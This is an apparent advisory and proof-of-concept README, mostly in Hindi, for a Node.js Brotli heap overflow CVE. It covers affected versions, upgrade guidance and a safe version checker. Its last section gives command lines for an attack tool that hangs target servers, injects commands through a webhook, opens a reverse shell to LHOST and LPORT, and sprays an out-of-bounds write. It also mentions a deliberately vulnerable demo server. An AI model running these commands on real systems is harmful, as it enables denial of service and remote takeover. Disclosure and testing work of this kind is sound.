
CVE-2026-111497 (Node2Shell) के लिए एडवाइज़री और प्रूफ़-ऑफ़-कॉन्सेप्ट टूलकिट, जो Node.js में एक Brotli हीप ओवरफ़्लो है, जिसमें ट्रिगर स्क्रिप्ट, वर्ज़न चेकर और रेमेडिएशन मार्गदर्शन शामिल है।
Node2Shell
CVE-2026-111497 के लिए व्यापक सुरक्षा सलाह, तकनीकी विश्लेषण और उपचार मार्गदर्शिका
अक्टूबर 2026 में प्रकट किया गया, Node2Shell (CVE-2026-111497) एक गंभीर सुरक्षा भेद्यता है जो सीधे Node.js रनटाइम बाइनरी के अंदर बंडल किए गए नेटिव Brotli डीकंप्रेशन घटक को प्रभावित करती है।
यह दोष दूरस्थ हमलावरों को विशेष रूप से तैयार किए गए, विकृत Brotli-संपीड़ित बाइट स्ट्रीम को किसी भी Node.js एप्लिकेशन में सबमिट करके मनमाना कोड निष्पादित करने या एप्लिकेशन को क्रैश करने की अनुमति देता है जो संपीड़ित इनपुट को संसाधित करता है (जैसे, HTTP अनुरोध बॉडी पार्सर, नेटिव fetch() कॉल, या WebSocket स्ट्रीम)।
⚠️ महत्वपूर्ण सूचना: चूँकि भेद्य कोड
deps/brotliके भीतर स्थित है जो Node.js निष्पादन योग्य फ़ाइल में ही संकलित है, उपयोगकर्ता-स्थानnpmनिर्भरताओं को अपडेट करना इस भेद्यता को कम नहीं करेगा। Node.js बाइनरी रनटाइम को अपडेट किया जाना चाहिए।
deps/brotli) में एकीकृत अपस्ट्रीम Google Brotli डिकोडर मॉड्यूल।Content-Encoding: br) के साथ कॉन्फ़िगर किए गए फ्रेमवर्क और मिडलवेयर (जैसे, Express, Fastify)।fetch() जो संपीड़ित सामग्री परोसने वाले अविश्वसनीय तृतीय-पक्ष एंडपॉइंट्स से स्वचालित प्रतिक्रियाओं को संसाधित करता है।zlib.createBrotliDecompress() का उपयोग करने वाली कस्टम Node.js स्ट्रीम।| Node.js रिलीज़ लाइन | स्थिति | ठीक किया गया संस्करण | आवश्यक कार्रवाई |
|---|---|---|---|
| Node.js 26.x | ⚠️ असुरक्षित | >= 26.12.1 | तुरंत अपग्रेड करें |
| Node.js 24.x | ⚠️ असुरक्षित | >= 24.22.1 | तुरंत अपग्रेड करें |
| Node.js 22.x (LTS) | ⚠️ असुरक्षित | >= 22.23.4 | तुरंत अपग्रेड करें |
| Node.js 20.x और पुराने | ❌ EOL | कोई नहीं | तुरंत समर्थित LTS पर माइग्रेट करें |
🚨 EOL चेतावनी: Node.js 20 अप्रैल 2026 में एंड-ऑफ-लाइफ (EOL) हो गया। EOL संस्करणों के लिए आधिकारिक सुरक्षा बैकपोर्ट उपलब्ध नहीं हैं।
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder
───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder
───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder
Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.
आप इस एक-पंक्ति कमांड को भी चला सकते हैं:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
-17 लौटाता है → पैच किया गयाmissing लौटाता है → असुरक्षितयह वही जाँच है जो स्क्रिप्ट उपयोग करती है।
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000
# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data